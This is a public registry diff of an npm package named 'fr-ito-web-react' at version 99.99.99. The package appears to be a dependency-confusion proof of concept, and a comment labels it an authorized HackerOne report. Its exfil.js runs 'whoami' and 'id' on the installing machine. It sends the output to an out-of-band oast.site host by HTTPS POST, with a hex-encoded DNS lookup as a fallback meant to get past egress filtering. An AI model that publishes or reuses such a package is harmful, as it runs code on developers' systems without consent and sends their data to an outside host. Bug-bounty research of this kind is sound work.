fr-ito-web-react 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exfil.js +35 -0
- package/index.js +1 -0
- package/package.json +11 -0
package/exfil.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
/* Authorized HackerOne PoC - Fast Retailing dependency confusion.
|
|
2
|
+
* Runs ONLY whoami and id per triager request. No files, no secrets, no persistence. */
|
|
3
|
+
'use strict';
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const dns = require('dns');
|
|
7
|
+
|
|
8
|
+
const OOB = 'd9vbd1vstrb04vgt4dqg63k7yg55jhmt5.oast.site';
|
|
9
|
+
const MARK = 'FRITO-POC';
|
|
10
|
+
|
|
11
|
+
function run(c) {
|
|
12
|
+
try { return execSync(c, { timeout: 5000 }).toString().trim(); }
|
|
13
|
+
catch (e) { return 'ERR'; }
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
const data = [MARK, 'whoami=' + run('whoami'), 'id=' + run('id')].join('\n');
|
|
17
|
+
|
|
18
|
+
// HTTP POST: full whoami and id output lands in the Collaborator/interactsh body
|
|
19
|
+
try {
|
|
20
|
+
const body = Buffer.from(data);
|
|
21
|
+
const req = https.request({
|
|
22
|
+
host: OOB, port: 443, method: 'POST', path: '/frito',
|
|
23
|
+
headers: { 'Content-Type': 'text/plain', 'Content-Length': body.length, 'X-PoC': MARK },
|
|
24
|
+
timeout: 5000, rejectUnauthorized: false
|
|
25
|
+
});
|
|
26
|
+
req.on('error', function () {});
|
|
27
|
+
req.write(body);
|
|
28
|
+
req.end();
|
|
29
|
+
} catch (e) {}
|
|
30
|
+
|
|
31
|
+
// DNS fallback: hex-encoded whoami survives HTTP egress filtering
|
|
32
|
+
try {
|
|
33
|
+
const hex = Buffer.from(run('whoami')).toString('hex').slice(0, 50).toLowerCase();
|
|
34
|
+
dns.lookup(hex + '.' + MARK.toLowerCase() + '.' + OOB, function () {});
|
|
35
|
+
} catch (e) {}
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED